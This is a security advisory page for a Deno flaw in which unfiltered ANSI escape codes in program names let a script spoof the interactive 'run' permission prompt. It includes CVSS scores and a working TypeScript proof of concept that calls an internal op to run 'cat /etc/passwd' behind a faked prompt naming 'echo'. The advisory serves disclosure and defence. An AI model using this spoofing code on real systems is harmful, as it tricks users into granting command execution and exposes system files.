Lucene search

K
osvGoogleOSV:GHSA-VQ67-RP93-65QF
HistoryMar 24, 2023 - 10:06 p.m.

Interactive `run` permission prompt spoofing via improper ANSI neutralization

2023-03-2422:06:01
Google
osv.dev
8
deno
ansi filtering
spoofing
op_spawn_child
op_kill
permission prompt

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

7.1 High

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

52.8%

Summary

Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a op_spawn_child or op_kill prompt and replace it with any desired text.

Details

The main entry point comes down to the ability to override what the API control says (40_process.js). Because of ANSI codeā€™s ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in op_kill.

PoC

This PoC works on 1.31.1, but modified versions of it work on older versions.

Make a file, e.g. index.ts, that uses this vulnerability to spoof the op_spawn_child permission prompt

const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold

const prompt = `ā”Œ āš ļø  ${boldANSI}Deno requests run access to "echo"${unboldANSI}
ā”œ Requested by \`Deno.Command().output()`

const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line

Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
    cmd: "cat",
    args: ["/etc/passwd"],
    clearEnv: false,
    env: [],
    stdin: "null",
    stdout: "inherit",
    stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)

Run the file with deno run index.ts.

Impact

Any Deno program is able to spoof the interactive permission prompt for the op_spawn_child or the op_kill action (which indirectly gives access to all run commands) by overriding the Requested by {message} API with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:

// Expected Prompt
ā”Œ āš ļø  Deno requests run access to "cat"
ā”œ Requested by `Deno.Command().output()` API
ā”œ Run again with --allow-run to bypass this prompt.
ā”” Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >

// Actual Prompt
ā”Œ āš ļø  Deno requests run access to "echo"
ā”œ Requested by `Deno.Command().output()` API
ā”œ Run again with --allow-run to bypass this prompt.
ā”” Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >

This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.

This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).

Before v1.31.0, this requires the --unstable flag.

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

7.1 High

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

52.8%

Related for OSV:GHSA-VQ67-RP93-65QF